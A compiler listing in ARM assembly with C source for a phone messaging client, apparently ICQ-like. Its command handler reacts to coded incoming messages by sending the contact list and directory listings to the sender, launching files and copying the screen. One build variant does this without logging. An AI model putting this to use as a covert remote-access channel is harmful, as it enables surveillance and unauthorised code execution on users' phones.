LDR R0,??CheckComand2_0+0x3C ;; disautorecconect \ 000004E8 009080E5 STR R9,[R0, #+0] 271 t->signals=0; \ 000004EC 80A084E5 STR R10,[R4, #+128] 272 SENDMSGCOUNT++; \ 000004F0 000096E5 LDR R0,[R6, #+0] \ 000004F4 010080E2 ADD R0,R0,#+1 \ 000004F8 000086E5 STR R0,[R6, #+0] 273 #ifdef kluchnik 274 #else 275 void end_socket(void); 276 SUBPROC((void*)end_socket); 277 #endif 278 return; \ 000004FC 97FFFFEA B ??CheckComand2_4 279 } 280 281 if(/*strstr(txt,"#getclistall") || */strstr(txt,_GETCLISTALL)) \ ??CheckComand2_23: \ 00000500 30949FE5 LDR R9,??CheckComand2_0+0x40 ;; cltop \ 00000504 691F8FE2 ADR R1,??CheckComand2_17+0x10 ;; "@6" \ 00000508 0800A0E1 MOV R0,R8 \ 0000050C 180100EF SWI +280 \ 00000510 000050E3 CMP R0,#+0 \ 00000514 2A00000A BEQ ??CheckComand2_24 282 { 283 CLIST *tt; 284 tt=(CLIST *)(&cltop); \ 00000518 0980A0E1 MOV R8,R9 285 char *s=malloc(16384); \ 0000051C 400CA0E3 MOV R0,#+16384 \ 00000520 140000EF SWI +20 \ 00000524 0090A0E1 MOV R9,R0 286 *s=0; \ 00000528 00A0C9E5 STRB R10,[R9, #+0] \ 0000052C 110000EA B ??CheckComand2_25 287 char ss[64]; 288 char *q; 289 while(tt=(CLIST *)(tt->next)) 290 { 291 if(!tt->isgroup) \ ??CheckComand2_26: \ 00000530 080098E5 LDR R0,[R8, #+8] \ 00000534 000050E3 CMP R0,#+0 \ 00000538 0E00001A BNE ??CheckComand2_25 292 { 293 q=GetStatusByIconIndex(GetIconIndex(tt)); \ 0000053C 0800A0E1 MOV R0,R8 \ 00000540 ........ _BLF GetIconIndex,??GetIconIndex??rA \ 00000544 ........ _BLF GetStatusByIconIndex,??GetStatusByIconIndex??rA 294 snprintf(ss,64,"%s ( %d ) [%s]\r\n",tt->name,tt->uin,q); \ 00000548 01002DE9 PUSH {R0} \ 0000054C 0C0098E5 LDR R0,[R8, #+12] \ 00000550 143088E2 ADD R3,R8,#+20 \ 00000554 01002DE9 PUSH {R0} \ 00000558 602087E2 ADD R2,R7,#+96 \ 0000055C 4010A0E3 MOV R1,#+64 \ 00000560 10008DE2 ADD R0,SP,#+16 \ 00000564 1B0100EF SWI +283 295 strcat(s,ss); \ 00000568 10108DE2 ADD R1,SP,#+16 \ 0000056C 0900A0E1 MOV R0,R9 \ 00000570 170000EF SWI +23 \ 00000574 08D08DE2 ADD SP,SP,#+8 296 } 297 } \ ??CheckComand2_25: \ 00000578 008098E5 LDR R8,[R8, #+0] \ 0000057C 000058E3 CMP R8,#+0 \ 00000580 EAFFFF1A BNE ??CheckComand2_26 298 #ifdef kluchnik 299 AddStringToLog(t,0x01,"Sending contact list all...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000584 000096E5 LDR R0,[R6, #+0] \ 00000588 0110A0E3 MOV R1,#+1 \ 0000058C 010080E2 ADD R0,R0,#+1 \ 00000590 000086E5 STR R0,[R6, #+0] \ 00000594 02002DE9 PUSH {R1} \ 00000598 8008A0E1 LSL R0,R0,#+17 \ 0000059C A008A0E1 LSR R0,R0,#+17 \ 000005A0 01002DE9 PUSH {R0} \ 000005A4 0530A0E1 MOV R3,R5 \ 000005A8 742087E2 ADD R2,R7,#+116 \ 000005AC 0400A0E1 MOV R0,R4 \ 000005B0 ........ _BLF AddStringToLog,??AddStringToLog??rA 300 SendData(t,s,ENA_SIGNAL,0); \ 000005B4 0030A0E3 MOV R3,#+0 \ 000005B8 0120A0E3 MOV R2,#+1 \ 000005BC 0910A0E1 MOV R1,R9 \ 000005C0 C40000EA B ??CheckComand2_27 301 #else 302 SendData(t,s,DIS_SIGNAL,1); 303 #endif 304 mfree(s); 305 return; 306 } 307 308 if(/*strstr(txt,"#getclist") || */strstr(txt,_GETCLIST)) \ ??CheckComand2_24: \ 000005C4 CB1F8FE2 ADR R1,??CheckComand2_0 ;; "@7" \ 000005C8 0800A0E1 MOV R0,R8 \ 000005CC 180100EF SWI +280 \ 000005D0 000050E3 CMP R0,#+0 \ 000005D4 3600000A BEQ ??CheckComand2_28 309 { 310 CLIST *tt; 311 tt=(CLIST *)(&cltop); 312 char *s=malloc(16384); \ 000005D8 400CA0E3 MOV R0,#+16384 \ 000005DC 140000EF SWI +20 \ 000005E0 0080A0E1 MOV R8,R0 313 *s=0; \ 000005E4 00A0C8E5 STRB R10,[R8, #+0] \ 000005E8 160000EA B ??CheckComand2_29 314 char ss[64]; 315 char *q; 316 while(tt=(CLIST *)(tt->next)) 317 { 318 if(tt->state!=0xFFFF && !tt->isgroup) \ ??CheckComand2_30: \ 000005EC B405D9E1 LDRH R0,[R9, #+84] \ 000005F0 FF10A0E3 MOV R1,#+255 \ 000005F4 FF1C81E3 ORR R1,R1,#0xFF00 \ 000005F8 010050E1 CMP R0,R1 \ 000005FC 1100000A BEQ ??CheckComand2_29 \ 00000600 080099E5 LDR R0,[R9, #+8] \ 00000604 000050E3 CMP R0,#+0 \ 00000608 0E00001A BNE ??CheckComand2_29 319 { 320 q=GetStatusByIconIndex(GetIconIndex(tt)); \ 0000060C 0900A0E1 MOV R0,R9 \ 00000610 ........ _BLF GetIconIndex,??GetIconIndex??rA \ 00000614 ........ _BLF GetStatusByIconIndex,??GetStatusByIconIndex??rA 321 snprintf(ss,64,"%s ( %d ) [%s]\r\n",tt->name,tt->uin,q); \ 00000618 01002DE9 PUSH {R0} \ 0000061C 0C0099E5 LDR R0,[R9, #+12] \ 00000620 143089E2 ADD R3,R9,#+20 \ 00000624 01002DE9 PUSH {R0} \ 00000628 602087E2 ADD R2,R7,#+96 \ 0000062C 4010A0E3 MOV R1,#+64 \ 00000630 10008DE2 ADD R0,SP,#+16 \ 00000634 1B0100EF SWI +283 322 strcat(s,ss); \ 00000638 10108DE2 ADD R1,SP,#+16 \ 0000063C 0800A0E1 MOV R0,R8 \ 00000640 170000EF SWI +23 \ 00000644 08D08DE2 ADD SP,SP,#+8 323 } 324 } \ ??CheckComand2_29: \ 00000648 009099E5 LDR R9,[R9, #+0] \ 0000064C 000059E3 CMP R9,#+0 \ 00000650 E5FFFF1A BNE ??CheckComand2_30 325 #ifdef kluchnik 326 AddStringToLog(t,0x01,"Sending contact list online...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000654 000096E5 LDR R0,[R6, #+0] \ 00000658 0110A0E3 MOV R1,#+1 \ 0000065C 010080E2 ADD R0,R0,#+1 \ 00000660 000086E5 STR R0,[R6, #+0] \ 00000664 02002DE9 PUSH {R1} \ 00000668 8008A0E1 LSL R0,R0,#+17 \ 0000066C A008A0E1 LSR R0,R0,#+17 \ 00000670 01002DE9 PUSH {R0} \ 00000674 0530A0E1 MOV R3,R5 \ 00000678 902087E2 ADD R2,R7,#+144 \ 0000067C 0400A0E1 MOV R0,R4 \ 00000680 ........ _BLF AddStringToLog,??AddStringToLog??rA 327 SendData(t,s,ENA_SIGNAL,0); \ 00000684 0030A0E3 MOV R3,#+0 \ 00000688 0120A0E3 MOV R2,#+1 \ 0000068C 0810A0E1 MOV R1,R8 \ 00000690 0400A0E1 MOV R0,R4 \ 00000694 ........ _BLF SendData,??SendData??rA 328 #else 329 SendData(t,s,DIS_SIGNAL,1); 330 #endif 331 mfree(s); \ 00000698 0800A0E1 MOV R0,R8 \ 0000069C 900000EA B ??CheckComand2_31 \ ??CheckComand2_17: \ 000006A0 40330000 DC8 "@3",+0 \ 000006A4 61637400 DC8 "act" \ 000006A8 40340000 DC8 "@4",+0 \ 000006AC 40350000 DC8 "@5",+0 \ 000006B0 40360000 DC8 "@6",+0 332 return; 333 } \ ??CheckComand2_28: \ 000006B4 901F8FE2 ADR R1,??CheckComand2_0+0x4 ;; "@8" \ 000006B8 0800A0E1 MOV R0,R8 334 335 336 337 if(/*strstr(txt,"#getflist") || */strstr(txt,_GETFLIST)) \ 000006BC 180100EF SWI +280 \ 000006C0 000050E3 CMP R0,#+0 \ 000006C4 6400000A BEQ ??CheckComand2_32 338 { 339 DIR_ENTRY de; 340 unsigned int err; 341 char *s=malloc(16384); \ 000006C8 400CA0E3 MOV R0,#+16384 \ 000006CC 140000EF SWI +20 \ 000006D0 0090A0E1 MOV R9,R0 342 char *path=malloc(256); \ 000006D4 400FA0E3 MOV R0,#+256 \ 000006D8 140000EF SWI +20 \ 000006DC 00B0A0E1 MOV R11,R0 343 char p[64]; 344 if(strstr(txt,_GETFLIST)) \ 000006E0 851F8FE2 ADR R1,??CheckComand2_0+0x4 ;; "@8" \ 000006E4 0800A0E1 MOV R0,R8 \ 000006E8 180100EF SWI +280 \ 000006EC 000050E3 CMP R0,#+0 \ 000006F0 0300000A BEQ ??CheckComand2_33 345 sprintf(path,per_s,txt+3); \ 000006F4 40129FE5 LDR R1,??CheckComand2_0+0x44 ;; per_s \ 000006F8 032088E2 ADD R2,R8,#+3 \ 000006FC 0B00A0E1 MOV R0,R11 \ 00000700 160000EF SWI +22 346 /* else 347 sprintf(path,per_s,txt+strlen("#getflist")+1);*/ 348 char *ptr=path+strlen(path)+1; \ ??CheckComand2_33: \ 00000704 0B00A0E1 MOV R0,R11 \ 00000708 1B0000EF SWI +27 \ 0000070C 0B0080E0 ADD R0,R0,R11 \ 00000710 010080E2 ADD R0,R0,#+1 \ 00000714 00008DE5 STR R0,[SP, #+0] 349 strcat(path,"\\*.*"); \ 00000718 B01087E2 ADD R1,R7,#+176 \ 0000071C 0B00A0E1 MOV R0,R11 \ 00000720 170000EF SWI +23 350 *s=0; \ 00000724 00A0C9E5 STRB R10,[R9, #+0] 351 if(FindFirstFile(&de,path,&err)) \ 00000728 04208DE2 ADD R2,SP,#+4 \ 0000072C 0B10A0E1 MOV R1,R11 \ 00000730 68008DE2 ADD R0,SP,#+104 \ 00000734 6B0000EF SWI +107 \ 00000738 000050E3 CMP R0,#+0 \ 0000073C 1300000A BEQ ??CheckComand2_34 352 { 353 do 354 { 355 strcpy(ptr,de.file_name); \ ??CheckComand2_35: \ 00000740 00009DE5 LDR R0,[SP, #+0] \ 00000744 1D108DE2 ADD R1,SP,#+29 \ 00000748 401F81E2 ADD R1,R1,#+256 \ 0000074C 1A0000EF SWI +26 356 if (de.file_attr&FA_DIRECTORY) \ 00000750 F409DDE1 LDRSH R0,[SP, #+148] \ 00000754 1D208DE2 ADD R2,SP,#+29 \ 00000758 402F82E2 ADD R2,R2,#+256 \ 0000075C 100010E3 TST R0,#0x10 357 sprintf(p,"\\%s\r\n",de.file_name); \ 00000760 B8108712 ADDNE R1,R7,#+184 358 else 359 sprintf(p," %s\r\n",de.file_name); \ 00000764 C0108702 ADDEQ R1,R7,#+192 \ 00000768 08008DE2 ADD R0,SP,#+8 \ 0000076C 160000EF SWI +22 360 strcat(s,p); \ 00000770 08108DE2 ADD R1,SP,#+8 \ 00000774 0900A0E1 MOV R0,R9 \ 00000778 170000EF SWI +23 361 } 362 while(FindNextFile(&de,&err)); \ 0000077C 04108DE2 ADD R1,SP,#+4 \ 00000780 68008DE2 ADD R0,SP,#+104 \ 00000784 6C0000EF SWI +108 \ 00000788 000050E3 CMP R0,#+0 \ 0000078C EBFFFF1A BNE ??CheckComand2_35 363 } 364 FindClose(&de,&err); \ ??CheckComand2_34: \ 00000790 04108DE2 ADD R1,SP,#+4 \ 00000794 68008DE2 ADD R0,SP,#+104 \ 00000798 6D0000EF SWI +109 365 mfree(path); \ 0000079C 0B00A0E1 MOV R0,R11 \ 000007A0 150000EF SWI +21 366 if(!s) sprintf(s,"dr ( %s ) n f",txt+strlen(_GETFLIST)+1); \ 000007A4 000059E3 CMP R9,#+0 \ 000007A8 0600001A BNE ??CheckComand2_36 \ 000007AC 520F8FE2 ADR R0,??CheckComand2_0+0x4 ;; "@8" \ 000007B0 1B0000EF SWI +27 \ 000007B4 080080E0 ADD R0,R0,R8 \ 000007B8 012080E2 ADD R2,R0,#+1 \ 000007BC C81087E2 ADD R1,R7,#+200 \ 000007C0 0000A0E3 MOV R0,#+0 \ 000007C4 160000EF SWI +22 367 368 #ifdef kluchnik 369 char *ss=malloc(256); \ ??CheckComand2_36: \ 000007C8 400FA0E3 MOV R0,#+256 \ 000007CC 140000EF SWI +20 \ 000007D0 00A0A0E1 MOV R10,R0 370 sprintf(ss,"Recive command < Get files from directory %s >",txt+strlen(_GETFLIST)+1); \ 000007D4 480F8FE2 ADR R0,??CheckComand2_0+0x4 ;; "@8" \ 000007D8 1B0000EF SWI +27 \ 000007DC 080080E0 ADD R0,R0,R8 \ 000007E0 012080E2 ADD R2,R0,#+1 \ 000007E4 D81087E2 ADD R1,R7,#+216 \ 000007E8 0A00A0E1 MOV R0,R10 \ 000007EC 160000EF SWI +22 371 AddStringToLog(t,0x01,ss,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 000007F0 000096E5 LDR R0,[R6, #+0] \ 000007F4 0110A0E3 MOV R1,#+1 \ 000007F8 010080E2 ADD R0,R0,#+1 \ 000007FC 000086E5 STR R0,[R6, #+0] \ 00000800 02002DE9 PUSH {R1} \ 00000804 8008A0E1 LSL R0,R0,#+17 \ 00000808 A008A0E1 LSR R0,R0,#+17 \ 0000080C 01002DE9 PUSH {R0} \ 00000810 0530A0E1 MOV R3,R5 \ 00000814 0A20A0E1 MOV R2,R10 \ 00000818 0400A0E1 MOV R0,R4 \ 0000081C ........ _BLF AddStringToLog,??AddStringToLog??rA 372 if(SHOW_ACTIVE) \ 00000820 E8009FE5 LDR R0,??CheckComand2_0+0x18 ;; SHOW_ACTIVE 373 t->isactive=ACTIVE_TIME; 374 SendData(t,s,ENA_SIGNAL,0); \ 00000824 0030A0E3 MOV R3,#+0 \ 00000828 000090E5 LDR R0,[R0, #+0] \ 0000082C 08D08DE2 ADD SP,SP,#+8 \ 00000830 000050E3 CMP R0,#+0 \ 00000834 5A0FA013 MOVNE R0,#+360 \ 00000838 AC008415 STRNE R0,[R4, #+172] \ 0000083C 0120A0E3 MOV R2,#+1 \ 00000840 0910A0E1 MOV R1,R9 \ 00000844 0400A0E1 MOV R0,R4 \ 00000848 ........ _BLF SendData,??SendData??rA 375 mfree(ss); \ 0000084C 0A00A0E1 MOV R0,R10 \ 00000850 150000EF SWI +21 376 #else 377 SENDMSGCOUNT++; 378 SendData(t,s,DIS_SIGNAL,0); 379 #endif 380 mfree(s); \ 00000854 0900A0E1 MOV R0,R9 \ 00000858 BFFEFFEA B ??CheckComand2_14 381 return; 382 } 383 384 if(/*strstr(txt,"#runfile") ||*/ strstr(txt,_RUNFILE)) \ ??CheckComand2_32: \ 0000085C 27AF8FE2 ADR R10,??CheckComand2_0+0x8 ;; "@9" \ 00000860 0A10A0E1 MOV R1,R10 \ 00000864 0800A0E1 MOV R0,R8 \ 00000868 180100EF SWI +280 \ 0000086C 000050E3 CMP R0,#+0 \ 00000870 1D00000A BEQ ??CheckComand2_1 385 { 386 #ifdef kluchnik 387 char *ss=malloc(256); \ 00000874 400FA0E3 MOV R0,#+256 \ 00000878 140000EF SWI +20 \ 0000087C 0090A0E1 MOV R9,R0 388 sprintf(ss,"Recive command < Run file %s >",txt+strlen(_RUNFILE)+1); \ 00000880 0A00A0E1 MOV R0,R10 \ 00000884 1B0000EF SWI +27 \ 00000888 080080E0 ADD R0,R0,R8 \ 0000088C 012080E2 ADD R2,R0,#+1 \ 00000890 421F87E2 ADD R1,R7,#+264 \ 00000894 0900A0E1 MOV R0,R9 \ 00000898 160000EF SWI +22 389 AddStringToLog(t,0x01,ss,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 0000089C 000096E5 LDR R0,[R6, #+0] \ 000008A0 0110A0E3 MOV R1,#+1 \ 000008A4 010080E2 ADD R0,R0,#+1 \ 000008A8 000086E5 STR R0,[R6, #+0] \ 000008AC 02002DE9 PUSH {R1} \ 000008B0 8008A0E1 LSL R0,R0,#+17 \ 000008B4 A008A0E1 LSR R0,R0,#+17 \ 000008B8 01002DE9 PUSH {R0} \ 000008BC 0530A0E1 MOV R3,R5 \ 000008C0 0920A0E1 MOV R2,R9 \ 000008C4 0400A0E1 MOV R0,R4 \ 000008C8 ........ _BLF AddStringToLog,??AddStringToLog??rA 390 SendData(t,"File was been runned!!",ENA_SIGNAL,0); \ 000008CC 0030A0E3 MOV R3,#+0 \ 000008D0 0120A0E3 MOV R2,#+1 \ 000008D4 401087E2 ADD R1,R7,#+64 \ ??CheckComand2_27: \ 000008D8 0400A0E1 MOV R0,R4 \ 000008DC ........ _BLF SendData,??SendData??rA 391 mfree(ss); \ 000008E0 0900A0E1 MOV R0,R9 \ ??CheckComand2_31: \ 000008E4 150000EF SWI +21 392 #else 393 int i=0; 394 if(strstr(txt,_RUNFILE)) i=start(txt+3); 395 // else i=start(txt+strlen("#runfile")+1); 396 397 if(i) 398 SendData(t,"run!",DIS_SIGNAL,1); 399 else 400 SendData(t,"nrun!",DIS_SIGNAL,1); 401 #endif 402 return; \ 000008E8 08D08DE2 ADD SP,SP,#+8 \ ??CheckComand2_1: \ 000008EC ACD08DE2 ADD SP,SP,#+172 \ 000008F0 40DE8DE2 ADD SP,SP,#+1024 \ 000008F4 F08FBDE8 POP {R4-R11,PC} ;; return \ ??CheckComand2_0: \ 000008F8 40370000 DC8 "@7",+0 \ 000008FC 40380000 DC8 "@8",+0 \ 00000900 40390000 DC8 "@9",+0 \ 00000904 ........ DC32 comanda \ 00000908 ........ DC32 I_str \ 0000090C ........ DC32 SENDMSGCOUNT \ 00000910 ........ DC32 SHOW_ACTIVE \ 00000914 ........ DC32 SendAnswer \ 00000918 ........ DC32 `?` \ 0000091C ........ DC32 vibra_count \ 00000920 ........ DC32 VIBR_TYPE \ 00000924 ........ DC32 silenthide \ 00000928 ........ DC32 gipc \ 0000092C ........ DC32 ipc_xtask_name \ 00000930 ........ DC32 ipc_my_name \ 00000934 ........ DC32 disautorecconect \ 00000938 ........ DC32 cltop \ 0000093C ........ DC32 per_s 403 } 404 }//if(txt[0]=='#' && t->remoteAccess!=4) 405 } 406 407 \ In segment DATA_I, align 4, align-sorted 408 IMGHDR screen={0,0,8,""}; \ screen: \ 00000000 DS8 12 \ 0000000C REQUIRE `?` \ In segment CODE, align 4, keep-with-next 409 void DoScreen() 410 { \ DoScreen: \ 00000000 F0402DE9 PUSH {R4-R7,LR} 411 int ScrH=ScreenH(); 412 int ScrW=ScreenW(); 413 char *ms=RamScreenBuffer(); 414 screen.w=ScrW; \ 00000004 40709FE5 LDR R7,??DoScreen_0 ;; screen \ 00000008 898100EF SWI +33161 \ 0000000C 0040A0E1 MOV R4,R0 \ 00000010 888100EF SWI +33160 \ 00000014 0050A0E1 MOV R5,R0 \ 00000018 E08000EF SWI +32992 \ 0000001C 0060A0E1 MOV R6,R0 415 screen.h=ScrH; 416 screen.bitmap=malloc(ScrW*ScrH*2); \ 00000020 940500E0 MUL R0,R4,R5 \ 00000024 B050C7E1 STRH R5,[R7, #+0] \ 00000028 B240C7E1 STRH R4,[R7, #+2] \ 0000002C 8040A0E1 LSL R4,R0,#+1 \ 00000030 0400A0E1 MOV R0,R4 \ 00000034 140000EF SWI +20 \ 00000038 080087E5 STR R0,[R7, #+8] 417 memcpy(screen.bitmap, ms, ScrW*ScrH*2); \ 0000003C 0420A0E1 MOV R2,R4 \ 00000040 0610A0E1 MOV R1,R6 \ 00000044 1E0100EF SWI +286 418 } \ 00000048 F080BDE8 POP {R4-R7,PC} ;; return \ ??DoScreen_0: \ 0000004C ........ DC32 screen \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 00000000 DC16 0, 0 \ 00000004 08000000.... DC32 8, `?` \ .... \ In segment DATA_C, align 1, align-sorted \ 00000000 403300 DC8 "@3" \ In segment DATA_C, align 1, align-sorted \ `?`: \ 00000000 00 DC8 "" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 4E554C4C2070 DC8 "NULL pointer function!" \ 6F696E746572 \ 2066756E6374 \ 696F6E2100 \ 00000017 00 DC8 0 \ 00000018 2530385800 DC8 "%08X" \ 0000001D 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ 00000000 40313300 DC8 "@13" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 424741474100 DC8 "BGAGA" \ 00000006 0000 DC8 0, 0 \ 00000008 404D7320733A DC8 "@Ms s: %s" \ 20257300 \ 00000012 0000 DC8 0, 0 \ 00000014 6D205B202573 DC8 "m [ %s ] to [ %s ] n [ %s ] s." \ 205D20746F20 \ 5B202573205D \ 206E205B2025 \ 73205D20732E \ 00 \ 00000033 00 DC8 0 \ 00000034 4D2025732073 DC8 "M %s snd" \ 6E6400 \ 0000003D 000000 DC8 0, 0, 0 \ 00000040 46696C652077 DC8 "File was been runned!!" \ 617320626565 \ 6E2072756E6E \ 6564212100 \ 00000057 00 DC8 0 \ 00000058 7363722E2E00 DC8 "scr.." \ 0000005E 0000 DC8 0, 0 \ 00000060 257320282025 DC8 "%s ( %d ) [%s]\015\012" \ 642029205B25 \ 735D0D0A00 \ 00000071 000000 DC8 0, 0, 0 \ 00000074 53656E64696E DC8 "Sending contact list all..." \ 6720636F6E74 \ 616374206C69 \ 737420616C6C \ 2E2E2E00 \ 00000090 53656E64696E DC8 "Sending contact list online..." \ 6720636F6E74 \ 616374206C69 \ 7374206F6E6C \ 696E652E2E2E \ 00 \ 000000AF 00 DC8 0 \ 000000B0 5C2A2E2A00 DC8 "\\*.*" \ 000000B5 000000 DC8 0, 0, 0 \ 000000B8 5C25730D0A00 DC8 "\\%s\015\012" \ 000000BE 0000 DC8 0, 0 \ 000000C0 2025730D0A00 DC8 " %s\015\012" \ 000000C6 0000 DC8 0, 0 \ 000000C8 647220282025 DC8 "dr ( %s ) n f" \ 732029206E20 \ 6600 \ 000000D6 0000 DC8 0, 0 \ 000000D8 526563697665 DC8 "Recive command < Get files from directory %s >" \ 20636F6D6D61 \ 6E64203C2047 \ 65742066696C \ 65732066726F \ 6D2064697265 \ 63746F727920 \ 2573203E00 \ 00000107 00 DC8 0 \ 00000108 526563697665 DC8 "Recive command < Run file %s >" \ 20636F6D6D61 \ 6E64203C2052 \ 756E2066696C \ 65202573203E \ 00 \ 00000127 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ 00000000 40313000 DC8 "@10" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313100 DC8 "@11" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313200 DC8 "@12" \ In segment DATA_C, align 1, align-sorted \ 00000000 403100 DC8 "@1" \ In segment DATA_C, align 1, align-sorted \ 00000000 2100 DC8 "!" \ In segment DATA_C, align 1, align-sorted \ 00000000 2000 DC8 " " \ In segment DATA_C, align 1, align-sorted \ 00000000 496200 DC8 "Ib" \ In segment DATA_C, align 1, align-sorted \ 00000000 403200 DC8 "@2" \ In segment DATA_C, align 4, align-sorted \ 00000000 61637400 DC8 "act" \ In segment DATA_C, align 1, align-sorted \ 00000000 403400 DC8 "@4" \ In segment DATA_C, align 1, align-sorted \ 00000000 403500 DC8 "@5" \ In segment DATA_C, align 1, align-sorted \ 00000000 403600 DC8 "@6" \ In segment DATA_C, align 1, align-sorted \ 00000000 403700 DC8 "@7" \ In segment DATA_C, align 1, align-sorted \ 00000000 403800 DC8 "@8" \ In segment DATA_C, align 1, align-sorted \ 00000000 403900 DC8 "@9" Maximum stack usage in bytes: Function CSTACK -------- ------ CheckComand2 1248 DoScreen 20 get_file_size 48 start 16 Segment part sizes: Function/Label Bytes -------------- ----- get_file_size 40 start 468 CheckComand2 2368 screen 12 DoScreen 80 ? 12 ? 3 ? 1 ? 32 ? 4 ? 296 ? 4 ? 4 ? 4 ? 3 ? 2 ? 2 ? 3 ? 3 ? 4 ? 3 ? 3 ? 3 ? 3 ? 3 ? 3 Others 124 3 068 bytes in segment CODE 383 bytes in segment DATA_C 12 bytes in segment DATA_I 12 bytes in segment DATA_ID 12 bytes in segment INITTAB 2 956 bytes of CODE memory (+ 124 bytes shared) 395 bytes of CONST memory 12 bytes of DATA memory Errors: none Warnings: none